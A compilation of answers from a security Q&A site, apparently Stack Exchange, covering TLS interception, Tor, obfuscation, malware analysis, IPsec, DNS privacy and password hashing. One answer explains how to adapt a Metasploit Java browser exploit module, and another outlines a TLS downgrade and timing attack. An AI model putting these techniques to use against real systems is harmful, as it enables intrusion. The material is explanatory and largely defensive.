I don't see how TLS 1.3 should harm the current way TLS interception is done.

Currently TLS interception is done by having a man-in-the-middle proxy. Connections from client to server will be handled by this proxy the following way:

Create TLS connection between proxy and server.
Create a new server certificate (often just a clone of the original certificate) but sign it by the proxy CA.
Make a TLS handshake for the connection between client and proxy using the new certificate. Since the client trusts the proxy CA it will accept the new certificate. There are some limits when certificate pinning is used by the client, but browsers like Firefox and Chrome ignore pinning if the proxy CA was explicitly added to the system. Other clients like Dropbox simply fail.

With this setup the proxy can read and manipulate the traffic. This kind of setup will still work with TLS 1.3 because all it does is in effect to make two TLS connections out of one. And even if TLS 1.3 is not implemented by the intercepting proxy it will work in most cases because the TLS connection will then use TLS 1.2 or lower, same as it would do if a TLS 1.3 client talkes with a TLS 1.2 server or the other way. Only if client or server exclude all protocols except TLS 1.3 it will fail in this case.

If you think there are features in TLS 1.3 which make this typical TLS interception setup impossible than please point them out in your question.


Is there any way to hide my using the internet (or maximize privacy) when connected via router to other computers?

Let's take this from Tor backward.

Yes using Tor is likely going to maximize your privacy and anonymity. That said, Tor comes with usability issues that may not be worth the pain for your needs. You can try Tor easily enough by downloading and running TBB (Tor Browser Bundle). Anyone who can access the router traffic can see that you are using Tor but no content or destination information.

A commercial VPN service will provide a secure encrypted connection out through the router without the usability issues of Tor. Anyone who can access the router traffic can see that you are using a VPN but no content or destination information. Of course the VPN can see what you're doing, but you didn't indicate that was a problem.

Doing nothing special on a switched network. Normally the router connects everyone via a switch. This means that the other computers would not normally be able to see your traffic anyway unless they can access the router traffic (or router logs). It's technically possible to poison the network, but I'm assuming you're in a benign environment.


Level of security provided with (.NET) obfuscator tools

Not a easy answer unfortunately since it depends on a large number of factors. Skill level of the attacker is very relative when you consider that using a hex editor or ollydbg against something that has been obfuscated by nearly any tool can be very time consuming regardless of your skill level. Yet switching to tools such as IDA Pro or using de4dot that recognise popular obfuscater software signatures and have automatic routines to "ignore" them can make it a lot easier for people who know how to use these tools. E.g. de4dot claims to support the following:

Agile.NET (aka CliSecure)
Babel.NET
CodeFort
CodeVeil
CodeWall
CryptoObfuscator
DeepSea Obfuscator
Dotfuscator
.NET Reactor
Eazfuscator.NET
Goliath.NET
ILProtector
MaxtoCode
MPRESS
Rummage
Skater.NET
SmartAssembly
Spices.Net
Xenocode

Bottom line, any obfuscation is useful since it makes the task harder and therefore the number of potential attackers less due to skill/time requirements. You can also attempt to write your own obfuscation tools that would prevent someone from just using a tool such as those mentioned above. However, this is similar to saying you could just write your own encryption library. Not a easy task to accomplish without years of experience.

If you are really serious about protecting your software it will require a fair amount of additional work/money from your side since you would need to use multiple methods of protection. E.g. Using a obfuscater, cryptor, packer and then using a solution such as a USB dongle for verification.

If you do find a list comparing the difficulty of solutions to each other, please post it, would be really interesting.


POC of a Java exploit using leftover JREs

You can simply copy your preferred MSF module with a different name and modify the generated HTML embed code to contain the java_version attribute. Usually the generate_html() method contains this data as you can see here for example from line 117:

https://dev.metasploit.com/redmine/projects/framework/repository/entry/modules/exploits/multi/browser/java_rhino.rb

You can also create a new configurable parameter if you want, see the Developers Guide for details!

You can also set up an intercepting proxy like MitMproxy in front of Metasploit that would automatically embed/replace the appropriate java_version attribute in the HTTP response generated by MSF, this way you can test many modules with the same setup.


Is there any real-world use of IPsec modes other than ESP tunnel?

ESP / tunnel mode is often used when you want to connect two different POPs' networks together: you're basically implementing a full network and routing layer on top of an encryption layer, and the networks have zero knowledge that they crossed a public network (like the internet). When you simply want to encrypt everything between two endpoints without a routing layer (usually when those two endpoints want to talk to each other, but not networks behind them) it's burdensome to create an additional routing layer.

Transport mode is used all the time between two endpoints when a full tunnel with separate routing and networking is not required. This is somewhat analogous to when you create an TLS connection between your computer and a website; you don't care that someone can see traffic between the two of you, but you do want it encrypted.

Transport mode is roughly the equivalent of a TLS connection to your bank's website, while tunnel mode is roughly the equivalent of using a VPN client to connect to your employer's internal network. There are exceptions, of course, but that's the general gist of it.

Example: say you have two machines with public IPs and you want them to make RPC calls to each other. You obviously don't want them to communicate over the internet with no encryption or authentication. You could do it via TLS (layer 7), but you may as well do it via IPsec transport (layer 4), as that removes the burden of encryption on any software you're using; this is especially important if that software has no understanding of TLS at all. With transport mode everything between the two machines is encrypted, from ping requests to telnet to any random traffic you open between the two.

Now you COULD do this over an ESP tunnel, but 1) this requires all your software to be aware of the new routing endpoints, IPs, and gateways, rather than the public IPs that already exist and 2) it's less efficient, as now you have the encrypted traffic plus additional tunnel-wrap overhead.

As for AH, I've rarely seen it implemented, as its primary purpose is to verify any payloads arrive unchanged from the source. The situations where you care about verification but not encryption are fairly small and often better served with full encryption anyway, but theoretical places where it would be used would include things like anti-virus/malware being injected by third parties in transit but where full encryption might be too costly for the hardware on hand. Again, these are very niche applications.


Why would a stranger offer to write content for a nonexistent blog?

So it feels like there's some other agenda here, but I can't figure out what it would be.

Nope, it's exactly what it looks like. It's marginally-targeted spam. The sender is a scummy SEO marketer, and is hoping that you will allow them to write a (garbage) "blog post" for your site, filled with backlinks to their content.

  If they really thought I'd like to include their content on my blog, if I had one, surely they know a spammy Amazon product name would be a turnoff.

The sender is just really, really bad at making their emails sound convincing. I've seen much better written attempts than this.


Router admin password was changed, how did this happen and how to prevent

Seeing that you've erroneously typed 198.162.1.1 instead of 192.168.1.1, the level_15_access login window is no surprise.
198.162.1.1 belongs to a Canadian college, and the 198 address is a login screen for something of theirs.


Is addslashes + htmlentities sufficiently secure?

What is addslashes for? It has no benefit against HTML injection as it does not remove the characters that are special to HTML.

If it is meant as a protection against SQL injection it is ineffective, especially for non-MySQL databases that don't even use backslash as an escape in SQL string literals. You should exclusively use parameterised queries to get data into SQL queries without SQL injection problems.

htmlentities is OK against injection into HTML text content and double-quoted attribute values. But:

it doesn't escape ' so it will fail for single-quoted attribute values (add flags parameter ENT_QUOTES to fix)
it assumes ISO-8859-1 character set so you will get broken output if you are actually dealing with something else like UTF-8 (add charset parameter to fix, or, probably simpler, use htmlspecialchars which leaves non-ASCII characters alone)
HTML escaping is something you do when you are creating an HTML page. You need to htmlspecialchars() every piece of text as you drop into HTML because that's the point at which you know that the text needs escaping. Don't HTML escape input between receiving it and writing it to the database, this is completely the wrong time.


Detection and analysis of unknown malware

Is there any documented malicious API calls somewhere.. I couldn't find one in paper.

No, because all API calls can be both valid and malicious, depending on context. In terms of analysing a piece of malware, this is something you normally do by hand.
A quick primer on Windows executables looks like this: All windows executables that make API calls must import those addresses from System DLLs. This happens at two levels; statically, where the imports are coded in and dynamically, if the executable loads DLLs on the fly. So one place to start analysis is to look at what an executable imports in terms of API calls. You can do this with:
dumpbin /IMPORTS executablename.(exe|dll|ocx|scr|anything executable)

(alternatively, disassemblers will present this information in the output disassembly).
Another useful technique might be to dump all printable ascii strings and take a look through them. If the malware is poorly written, you might well find hard coded urls to suspicious locations in there or other data. If you find the string cmd.exe in there, that's pretty suspicious.
Other suspicious properties of executables include abuses of the PE format, for example incorrect use of headers. Most if not all linkers will respect all the headers of the format, yet some are unnecessary and Windows will actually execute an image with code in the headers with careful assembly. Small executables like this, especially those that make calls to network functionality, should be viewed as suspicious.
Images with data beyond the end of the image (this is allowed - this is how winzip self extractors and installers of the exe variety typically work) could also be viewed as suspicious, since you have a data payload there.
However, a good malware author knows this and is more than capable of obfuscating those strings and providing valid executables as the actual size cost isn't that prohibitive. At this point, statically, it is often worth disassembling the code and reading through it. A thorough knowledge of assembly is necessary at this point, as is knowledge of how linking works and how to interact at an ABI level with the operating system you're on. Rakkhi mentions labs full of people - this is where they come in.
So that's a brief set of things you could do to analyse an image statically (without running it). If you have a system to sacrifice (like a virtual machine) then you might also consider running it and analysing what happens. Some tools for Windows:

depends.exe from the DDK will profile executables to work out all DLLs they import.
windbg.exe allows you to debug a live image running, telling you at run time what the various values in registers might be, what calls are being made. Some people like ollydbg, but it has no x64 support at the time of writing, so I don't use it.
Various tools from SysInternals come in useful for finding out what registry keys, files etc an application is attempting to interact with. See Mark Russinovich's writeup of detecting the sony rootkit with exactly this set of tools.
IDA Pro. I can't afford said tool myself, but it is one of the tools in this industry.

These are equivalent to commands like strace and ltrace on Linux, along with pmap. They give you information about what the process actually tried to do and the debugging tools in there allow you to step it through. I should point out this is very unsafe and you should only really do it in a controlled environment.
In terms of actually running processes, there are a few things which generally look suspicious all the time. These don't necessarily mean the process itself is malicious - it could well have been exploited and had code injected. They are:

mmap(0). No process should really need to mmap to zero; operating systems will usually map to any other address space under standard usage. mmaping to zero is useful for an assembler-based program because 0 is an easy reference address. Jonesforth does this, for example, so that any 0 bytefields under a debugger indicate code being interpreted from forth syntax rather than a built in function, which is a handy trick. By and large though, unless the executable was written entirely in assembly it will never do this. Malware authors might use it as an easy reference point, because there's probably nothing mapped there.
executable stacks. Pages on the stack do not usually to be executable since the stack should only really contain data.
executing data pages elsewhere. Very few programs need to load in custom code and execute it.
Access to certain operating system resources, like \Device\PhysicalMemory or the Linux equivalent /dev/kmem.
For drivers, modifying the system service table (Linux calls this the sys call table). On Linux, the sys call table is marked as read only by default since 2.6.24ish. On Windows, Microsoft have promised they will continually attempt to prevent anyone modifying the system service table directly, since the driver based API provides all the functionality any legitimate code probably ever needs.
Indiscriminate DLL injection, i.e. system wide dll injection. See also installing shell extensions, adding code to start up paths, boot execute modification - anything autoruns exposes could be both legitimate operation or malware attempting to persist reboot. If you're looking at a process either statically or dynamically, if it puts stuff here, do investigate what it does.

As for how AV does signature recognition, Rakkhi has that covered, particularly his observation that antivirus implementations act like malware in how they work (but not what they do). A signature only needs to consist of enough information to (hopefully, although false positives happen) uniquely identify the malware, so key properties of the file (size, say) and key characteristics in the file (certain combinations of instructions followed by zipped data for example).
From a career perspective I can't advise on how to get into this field; I'm an amateur. However, technically, if you're looking to work out how to examine a binary, I'd say pick on a safe one. Choose a program you have on your system, say notepad.exe, and look at what it does and how it behaves. Then move on to something more complicated. I say this because you can set the system up once and know it won't be damaged this way, so you can improve your work without having to reconstruct the system because the malware made it impossible to use after your dynamic analysis went wrong and you let it clobber the system.
Hopefully that gives you an idea of how to get started. Really, this is a massive field and I'd need a couple of books to explain it thoroughly. Finally, be careful handling malware.
Some really great resources not already mentioned:

x86 assembly wikibook. Surprisingly good resource on what you're reading.
Agner Fog's assembly resources. Outstanding detail; I use objconv from here to disassemble programs as it is one of the best free disassemblers I've ever seen (even includes support for x64, SSE4, etc).
Windows PE format, just for interest.
Windows SDK, Windows DDK.
Mark R (again) on Stuxnet, part 1. Uses SysInternals to analyse the Stuxnet virus.
The Old New Thing - this is a blog on programming at the Win32 level from the guys at MSDN. It runs through how various parts of Windows programming work; following it over time you'll learn an awful lot.
Really small ELF files for Linux. Just because it's cool. Goes nicely with the PE one.


If you can give more details on your network maybe we can recommend something more specific.
But a very general answer would be that you can use one of the rule managers:
PolMan
OinkMaster
or
pulled_pork

however, maybe you are better off using a more general server management tool like apache puppet


Why do companies not give root access to employees on their desktop machines?

Security administrators are responsible for your machine and what happens on your machine. This responsibility violates the basic security model for a single-user Unix machine because the admin (an absent party) is root on your machine, you are not. Unix isn't really set up for this model.

Admins need to be able to install security controls on your machine in order to protect the company, not just the data and the network and the other nodes. If the local user had root access then admins are no longer in control over those controls. That's the basic premise.

Yes, there are tons of reasons why root is needed to do bad things or to turn the machine into a malicious node and all those are good reasons not to provide root access. And yes, there are lots of ways around those limitations and lots of ways that the local user could do bad things. But ultimately, the local user and the Risk Owner cannot be competing for control or responsibility over the machine.


Is it safe to use public key encryption to authenticate myself?

The common way to sign and encrypt a message is to... both encrypt and sign it!

That means that you give Barry your public key, and he gives you his public key. Then to authenticate a message, you encrypt it with your private key, and to encrypt it so that only Barry can read it you encrypt it with his public key. If you want both, you use both passes one after the other in a consistent order.

In fact that is more or less what MIME mailers implement, except that the encryption uses a unique symetric key, and only that key is encrypted with the public key of the recipient, and for authentication, only a hash of the message is encrypted with the private key of the sender. Because it is much simpler and as secure...

Alternatively if both parts must be kept secret, do not use public key and just share a secret that is used for a symetric encryption.


PCI DSS or PCI Standard - Standards | Requirement | Implementation

You can download the PCI DSS Standard here. This is the official site and the only one you should be referring to.

https://www.pcisecuritystandards.org/

Their certification program for individuals can be found here


It's there in the RFC in the paragraph under your quoted parts: "Message Integrity Check algorithm"


Is it safer to trust software/company that has been hacked in the past?

It is safer to trust the product that has been tested thoroughly and has had weaknesses fixed. Many times, a successful hack can act as a form of robust test.

But being hacked does not equate to being safer unless the underlying problem has been fixed.

A product that has not been tested, and hence, has not been fixed, provides a false sense of security in that the product has "never had a problem". That's why penetration tests, audits, bug bounties, and public disclosures are useful.

But being hacked, or tested, means nothing without proper fixes to the underlying weaknesses. Adobe Flash has been fixed countless times, but it never become more secure because the underlying problems were never properly addressed.

RSA encryption has never been hacked, but has been tested thoroughly. One should not trust the encryption algorithm that has been hacked in the past.

It's not about the hacks, but about how it was fixed.


What does my ISP see if I change my DNS server?

So, I think, that when I type certain URL in my browser (for example https://google.com) I send request through ISP to ISP DNS and my provider gets response (ip of google.com) and goes by this IP and send request to this server (google.com) and gets response - html page that will be sent to me by my provider. Is it so?

No, this does not work as you described.
When you use the ISP's DNS server you get the IP address of the target server (google.com in your example) from the ISP. The ISP's DNS server itself provides this IP address from a cache or resolves the DNS query for you - see DNS Lookups Explained for the finer details.
Then your browser uses this IP address to access the target site itself, i.e. the ISP does not retrieve the site for you. The ISP will forward the packets from your client to the target server though, but what's inside the packets is usually irrelevant for the ISP.
There are some exceptions from this behavior though: In some cases there might be an explicit proxy at the ISP involved, where the client (i.e. your browser) asks the proxy and the proxy will retrieve the data and send it back to the client. The proxy might also cache data to serve the client faster and also to save bandwidth. Such setup was pretty common in the early days of the internet where bandwidth was more scare, but is much less common today.
Some ISP might also snoop at the traffic with Deep Packet Inspection (DPI) and might also block or delay traffic based on this. Some might also enforce an implicit proxy to modify the traffic. This is especially true in countries where the ISP is ordered to block specific sites. It happened also in the past that ISP injected their own advertisements in the traffic. Or mobile ISP where found to "enrich" the traffic to provide information about the client (like the phone number) to the final server in order to provide more targeted advertisements. Traffic modification is mostly impossible when HTTPS is used though, but blocking traffic will even work with HTTPS.

Secondly, when I use other DNS: I think, that when I type certain URL in my browser (for example https://google.com) I send request through ISP to other DNS and my provider gets response (ip of google.com) and goes by this IP and send request to this server (google.com) and gets response - html page that will be sent to me by my provider.

Again the provider is (usually) only involved in forwarding the data between client (your browser) and server, but not in requesting the data from the server itself. The main difference between using the DNS from your ISP vs using a different DNS server is that another DNS server now resolves the query for you. This might be desired if one does not trust the ISP and fears blocking of sites or logging of what sites you access (i.e. privacy invasion). It might also be desired if the new DNS provider offers some useful features, like blocking malicious domains.
It is still possible and not uncommon though that your DNS query does not actually end at the DNS server you want to use but will still be handled by the ISP's DNS server. This can be done with a cheap redirection of all packets destined for port 53 to the ISP's DNS server. Enforcing the use of the ISP's DNS server is usually done if the ISP is ordered to block access to specific domains. But even without redirecting the ISP might be able to see what domains you query: DNS queries are by default not encrypted and thus visible to Deep Packet Inspection.  When using DNS over HTTPS (DoH) or DNS over TLS (DoT) the ISP will no longer be able to intercept these DNS requests though, nor will it be able to see the content of the DNS queries. It can still determine the domains you visit from DPI on the web traffic itself though in most cases.

It`s follows third question: will I be connected to DNS if I type just IP (not domain name) of google.com in my URL bar?

If one explicitly uses the IP address no DNS lookup is needed to access the server. Note though that most servers will not work if just accessed by IP address. It is pretty common that multiple domains are served on the same IP address. Thus the server also needs the domain name to find out which certificates to provide for HTTPS and which content to serve. If one just puts the IP address in the browser, the browser does not know which domain is meant and thus cannot provide this crucial information to the server.


Can an administrator see all of my info on shared, private WiFi?

Someone who has administrative access to the network you are connecting to can:

View the IP address and domain names of the site you're connecting to (based on DNS query and/or SNI in TLS) and which email provider you're using, irrespective of encryption. You can prevent this by using encrypted third party DNS (e.g. DNSCurve to OpenDNS).
The location of your access point (this is of little concern for you as you're physically neighbors anyway).
View and modify the content of any unencrypted traffic, including session keys/cookies, and passwords if they're traveling over unencrypted connection. View and modify emails traveling over unencrypted POP, IMAP, SMTP, or unencrypted web mail.
Block access to any site or protocol, irrespective of encryption. This may in many cases be circumvented with a VPN/proxy. In extreme cases, the administrator may block all proxies, VPN, and Tor.
View and modify encrypted Wi-Fi packets and its content, that is not further encrypted (e.g. with TLS)

They can't:

View and/or modify content, session keys/cookies, or password traveling inside end-to-end or user-to-service encryption (e.g. PGP, TLS). Snooping into these type of encryption can only be done if your neighbor installed a malware/certificate in your computer
View or modify the content of emails or who you are sending email to when using POPS, IMAPS, SMTPS, or encrypted web mail.

Doing these kinds of interceptions do require a little tech saviness, but it's not actually that difficult if they really wanted to learn how to snoop on you.

Also note that there are a number of other non privacy risks with sharing connection with others. For example, if your neighbor accessed illegal activity, they could potentially implicate that on you and you could be dragged into these legal problems.


Looking For Compiled Version of Metasploit Local Windows Exploits

I don't think you are going to find any.

The information such as the target, payload, etc I believe is compiled into executables which Metasploit serves up.

A precompiled binary would be useless for all practical purposes, besides maybe malware detection. Even then there are options for packers in Metasploit.


Cheap to validate yet expensive to compute hashing algorithm

It's called a "proof of work" algorithm. The basic idea is you force the caller to do some extra work after creating the hash. You can use any hashing algorithm. Here's one simple form:

The client computes the hash of the data. (Say, it's 160 bits.)
The client creates a block containing the hash and the rest of the data all zeroes. (Say the block is 512 bits.)
The client computes the hash of this block.
If this final hash is below the target, the client submits the entire block it just hashed and is done.
The client increments the data in the block other than the hash and jumps to step 3.

When the server gets the block, it computes the hash of the block. If the hash is below the target, the server accepts the block and reads the hash from the beginning of the block. If the hash is above the target, the server rejects it.

So, if the target is 0fffffff.. the client will typically have to perform step 3 (the hash operation) 16 times before it gets a final hash below the target. (There's a 1 in 16 chance a given hash will, in hex, start with a zero.) If that's too easy, set the target to 00fff... and the client will typically have to do 256 block hashes.

You can force the client to do, on average, as many hashes as you want. The actual number of hashes the client will need to do follows a Poisson distribution. The downside is there's always a chance the client will be unlucky and have to do a large amount of work.

If you need to prevent the client from 'reusing' work, you can make the client ask you for  a sequence number. The block then contains the hash, then the sequence number, then the nonce (the part the client increments). You can then validate the sequence number, so the client can't reuse a block it did before and can't pre-compute the blocks.

If you don't like this, you can also pick two random primes and send the product of those primes. Force the client to factor that number. Accept one hash per number factored. Of course, you can make the primes as big or as small as you want to control the amount of work the client needs to do.


How should I use Facebook while giving as little information as possible?

Here are some habits I've implemented in order to limit Facebook's reach on my personal info:

I have a browser dedicated to using Facebook and Instagram (which is owned by Facebook) and don't use it for anything else
I have one of those anti-track plugins on my main browser that basically removes any known embedded trackers (Google Analytics, Facebook share buttons etc.). Remember, Facebook builds a profile on you even when you're not logged in.
On my phone, I only use Messenger Lite and if I need to use Facebook, I log in through the browser, using a private tab.
If you have an Android phone, disable chat heads.
Disable as many permissions to the Messenger Lite app as you can afford. Especially location.


help identifying an IP address from email sent from my gmail account

The short answer is that it's possible there is no way to find out more details about this. You should definitely enable two-factor and change your password ASAP. That being said, I can give you a few suggestions if you want to try to find out more.

Google deliberately masks source IPs in their SMTP headers to protect your privacy. This is why you see a 10.xx.xx.xx IP, which is internal only. However, if you log into Gmail and go to the Last account activity section in the far lower right (below your email), you can see IPs that have logged into the system with your account credentials. You can find your IP by going to whatismyip.com. Once there look for IPs that don't match that. You could then search for "ip whois" on a search engine and find out more details about the IPs in question. Keep in mind whoever did this could have used a proxy service, making it difficult if not impossible for you to find out more details. To go further at that point it would likely have to involve law enforcement.


Why are application/services still using outdated Blowfish encryption? Is it secure?

You could ask this question with hundreds of encryptions. Why is Windows 10 using SHA1, which has been convincingly broken since ages? And despite MD5 has been proven not to be safe as well, many companies still use it for integrity checks.

In the whole area of information security, you have a visible gap between what would theoretically be more secure and what is more convenient to implement and administer.

Regarding your question, Blowfish is not unsafe, even tho Schneier recommends Twofish now. Some algorithmus like RSA are also really old and yet still valid. The fact that, over time, more and more security holes are revealed, is actually an advantage because that way these can be fixed. Older implementations of algorithms which are maintained and audited are more safe than newer ones.


Piquing my interest, I wanted to do some research and found that these types of cases are relatively common. In cases like this, if your Security & Privacy settings are still set to default and bluetooth is regularly used in conjunction with the Public folder, then yes, there's the potential that someone could gain access. But, only to that Public folder.

Alternatively, it bears mentioning, that bluetooth devices when discoverable will search for all the other bluetooth devices in range, which is about 20 - 30 feet. This doesn't necessarily means that they're connected, but that the Mac can see the device for pairing.

There's an interesting paper that details tracking anonymized bluetooth devices, but this is in-keeping with an adversarial mindset and that the target is being actively monitored and tracked. They examined W10 devices as well as MacOS and iOS devices using the below criteria:

  We passively record advertising events, while Bluetooth in macOS / iOS
  is enabled. Additionally, the Airdrop sharing feature is launched on
  the respective devices, and the resulting advertising events are
  recorded. We measure data generated by various up-to-date iPhones
  Tracking Anonymized Bluetooth Devices58(iPhone 5s, iPhone 8, iPhone X,
  running iOS 11),two iPads (iPad, iPad Pro running iOS 12), and two
  Macs (iMac A1419 and Macbook Pro A1502 running macOS 10.13)

From a MITM perspective, there was a bluetooth security flaw, which CERT issued a security warning for in 2018 that details "Bluetooth firmware or operating system software drivers may not sufficiently validate elliptic curve parameters used to generate public keys during a Diffie-Hellman key exchange, which may allow a remote attacker to obtain the encryption key used by the device."

The impact of which was, "An unauthenticated, remote attacker within range may be able to utilize a man-in-the-middle network position to determine the cryptographic keys used by the device. The attacker can then intercept and decrypt and/or forge and inject device messages."

Nevertheless, this was patched fairly quickly and, should a user be up-to-date, would have little reason to be concerned. However, there's always means to harden security on a MacOS device and, while it may defeat the purpose of some of the convenient, streamlined interoperability of Apple devices (e.g Handoff, Airdrop, etc.), it decreases the potential of a malicious attack on the computer.

Regardless of the Apple Security Platform narrative, it bears keeping in mind that there necessitates a reasonably security-oriented mindset when it comes to having a machine that connects to the internet or is capable of connecting to any other device. While it's arguably not feasible, the most secure PC is the one that never touches the internet. In this case though, there isn't anything to really worry about.


In an ideal world, the PIN would never have to be transmitted to the user; instead, the user would choose it.

Experimentally, for banking cards, I encountered two methods:

The bank chooses the PIN and sends it as a letter, with some printing gimmicks to prevent reading the PIN with a lamp, by abusing the paper transparency.
A temporary PIN is awarded by the bank, given directly to me over the counter by the clerk, and I immediately change it through either a payment terminal (on the counter) or with the ATM (which is in the same room).

This world is not ideal so the situation often forces a remote transmission of a PIN, selected by the organization, and sent to the user. In that case, since there is no really secure channel to communicate with the user, the idea is channel separation: the PIN is transmitted in a way which is distinct from the way the complementing information is sent.

Emails are notoriously poor at security. They are, by default, unauthenticated, and may travel as plain text. They get stored on the reception server, with uncontrolled retention time, and often lots of backups. SMTP servers through which the email transits will also store a copy on some storage medium for amounts of time that are not easily measured, let alone configured. An email is a really bad storage place for a secret value.

SMS are somewhat better. When they go over the air, they get encrypted along with the normal mobile phone mechanisms. When they have been acknowledged by the receiving phone, they are removed from the distribution servers -- the SMS model is built around device-based storage, contrary to emails where the normal resting place of an email is the email server. There still will be a lot of potential for leakage, notably when the phone is synced up with some cloud-based storage system. In fact, the best thing that can be said about SMS, when compared with emails, is that phone malware is still for the moment less prevalent than desktop malware.

You could use a phone call, with an actual human, or a robot system. A voice-based transfer makes it less likely that unwanted copies will be retained on some server. It is also compatible with users who do not have a phone capable of receiving SMS (yes, there are still a few persons in that case).

Paper-based mails are not very secure at all, but intercepting such a letter requires physical presence near the recipient's home. Depending on your context, this may be distinct enough from whatever the PIN is supposed to protect to achieve good security. The bad situation is when the PIN is for a credit card, and the credit card and the PIN are sent as letters. Then, an attacker who can intercept the PIN can also intercept the card. In such a situation, banks are likely to require an explicit activation with a phone call, where the user will be authenticated through the knowledge of "secret values" (birth date, mother's maiden name... high-quality secrets, as you can imagine).

Take care that the security model may vary. Banks, for example, do not try to achieve perfect security for all users; what they want is to make money. Thus, they will strive to achieve the best compromise, i.e. the method that minimizes the overall costs. They can tolerate a bit of fraud, if other safer methods would be more expensive to operate or would alienate a non-negligible proportion of potential customers. It shall be remembered that the bank's security is about protecting the bank, not the user (regardless of what they may claim in their ads).


Difference between local and physical attack vector in CVSS version 3?

An issue of "absence of logout button" is absolutely not a physical vector. Physical means you have direct physical access to the server, as in you're standing right in front of it. A more appropriate one for "physical" would be a lack of full-disk encryption, since physical access in the context of server theft would result in an attacker getting hold of the data on the disk.

Local means you have a login session to the system. An example of such an issue might be a service binary with poor file permissions, allowing a local privilege escalation.

Adjacent means you're on the same network segment as the server, which is applicable for attacks such as ARP spoofing, where you need to be on the same subnet.

Remote, as the name suggests, is any case where you're on a remote network.

You should keep in mind that CVSS vectors are mostly not tailored for web applications; most if not all of your issues should be marked as remote vector.


This is extremely unsafe, to the point of being pointless:

Your hash function is not a one-way function. One can instantly (with constant and low runtime) calculate an input producing any given hash if you allow arbitrary 4 character passwords as inputs by undoing the XOR with the initial hash value formed from the password length. With a little ingenuity, it is likely that such a preimage can be very effectively generated even if the input character set is restricted.
Even if your hash function was a cryptographically strong one-way function, it would not be a good password hashing function because it is fast. Ideally, you want a key derivative function that, like PBKDF2 or scrypt, has a configurable work factor allowing you to adjust the difficulty level for your attacker (and the workload for your server) to new conditions over time.
Your hash is so far on the short side that it is hard to call it secure even if everything else were fine. As Andrey pointed out in an older answer, any 32-bit hash can be guessed in (typ.) 0.5 * 2^32 attempts. To not be a security bottleneck, this  number should always be greater than what it would take to guess the password. Yet 32 bits of entropy is so low that a similar number (28 bits) works to illustrate a weak password in the famous xkcd password cartoon.


Occasionally, Windows will format the entire device as a FAT or NTFS volume. You can try mounting it (/dev/sdb) instead of looking for a partition on it. That might explain the incorrect partition layout.

As for the filenames, I had a flash drive get corrupted (possibly due to removing it during a write) and it ended up with similar filenames and it had filesizes that aren't possible. If it is a FAT32 device then it could be a damaged FAT.

For the mp4 file, Windows detects files by filename, so it probably just happened to have a .mp4 filename in the random gibberish that the name turned into.


New TLS encryption-busting attack also impacts the newer TLS 1.3, is ECDHE_RSA also affected?

This article is poorly written. First, by this time, it's old news: the attack was made public over two months ago. Oddly there doesn't seem to have been a thread about this attack here before, but there was one on Cryptography Stack Exchange which you can read for an introduction to how the attack works.

A second way in which this article is misleading is that this attack does not impact TLS 1.3 in itself. It impacts servers that support TLS 1.3 and older versions, if the attacker manages to downgrade the connection.

“The most common RSA configuration used to encrypt TLS connections” is also misleading. It's technically true, in that it is the only TLS configuration that uses RSA for encryption, but in fact most TLS configurations that use RSA use it for signature, not for encryption.

The attack works only against TLS_RSA cipher suites, i.e. against cipher suites that have RSA in their name but not DHE or ECDHE. It attacks RSA decryption. Cipher suites that use RSA signature, or that don't use RSA at all, are not affected.

In order to perform the direct attack, the attacker has to convince the victims to use TLS ≤1.2 with an RSA-decryption cipher suite. It can often do that by hijacking the very beginning of the connection (it's a man-in-the-middle attack) and telling the client that it only supports TLS 1.2 (or some earlier version) and only RSA-decryption cipher suites. The client then sends a value encrypted with the server's public key, and the attacker must decrypt it to continue talking to the client. Normally decrypting the value requires the private key, but if the server is vulnerable to the attack, then the attacker is able to trick the server into decrypting that value by making many connections to the server with an RSA-decryption cipher suite, sending carefully-chosen ciphertexts and observing the precise timing of the server's response.

Even if the client refuses to use RSA-decryption cipher suites, or indeed even if the client only supports TLS 1.3, it may still be vulnerable if the server uses the same RSA private key for decryption and for signature. To perform this variant of the attack, the attacker is once again a man-in-the-middle, and it uses an RSA-signature cipher suite to talk to the client. At some point the attacker needs to sign a value with the server's private key, and it does this as above by making many connections to the server with an RSA-decryption cipher suite.

To protect against this attack, you can do any of the following:

Keep your server up to date. This is the best way to protect against every attack.
Disable RSA-decryption cipher suites on the server.
Disable RSA-decryption cipher suites on the client and not use the same RSA private key for decryption and signature on the server.


Is there a simple way to withstand a Tor correlation attack?

Is there a simple way in this case to make it difficult for the enemy to match the traffic at both ends

No. Tor is a low-latency anonymization network; these all fail when an adversary can run a correlation attack such as you describe. The correlation attack can probably be done with packet timing alone; the longer your session persists, the more confident a correlation becomes. There is no way around this except to change Tor so it either delays packets at each node or adds cover traffic. The second one unlikely to work without wasting a huge amount of the already scarce bandwidth of the network.

The first one (adding delays) would make correlation attacks much harder, but in order to be useful, the delays would most likely have to be so high as to make Tor unusable for any kind for interactive browsing.

Trying to add cover traffic yourself

Edit: Alexander asks whether watching a YouTube video to generate some cover traffic on your end will make correlation harder.

I'd say it doesn't really.

Assume there are two users communicating with the website in question: A (that's us) and B. Also assume A watches a Youtube Video (Y) to generate some cover traffic.

So an attacker might see packets A A B B A B A A B B leaving the web server. He will observe packets Y A Y Y A Y A Y Y Y Y A A Y Y coming in from the network to A's computer. Of course he doesn't know which packets on the server side are A's and which are B's, and he doesn't know which packets on the client side are Youtube packets, but since all the A packets should come in more or less in the same order as they leave the server, and at the same time (plus a small network delay), and with the same sizes, it should be fairly easy to correctly match up the A packets on the client and server side.


How should I store SSL keys on the server?

You do not want to destroy your private key: you will need it again if you server restarts. Reboots happen sometimes...

That's a generic observation: you want your server to be able to restart in an unattended fashion. Therefore it must contain the private key, and that private key must be available to the server software.

If an attacker hijacks your complete machine, then he gets a copy of your key. That's a fact of life. Live with it. There are mitigations, though:

You can use the "DHE" cipher suites for SSL. With these cipher suites, the server key is used for signatures, not for encryption. This means that the attacker who steals your key can thereafter impersonate your server (i.e. run a fake server) but not decrypt SSL sessions which he previously recorded. This is a good property known as Perfect Forward Secrecy.
If you store the key in a Hardware Security Module then the key will not be stolen. The attacker may play with the key as long as he has effective control of the server, but not extract it. This decreases his power of nuisance (but HSM are expensive).

In practice, you will just make sure that the file containing the private key is readable only to the system account which runs the server (chown and chmod on Unix-like systems, NTFS access rights on Windows).


Does signing out of a website ensure no-one can cookie hack?

The answer here depends on how the website handles cookie management.  If they're doing things correctly, following the signout link should invalidate the cookie on the server-side and also remove it from the client.

As such if an attacker got access to your PC after that they shouldn't be able to mis-use the cookie, even if they could get access to it.

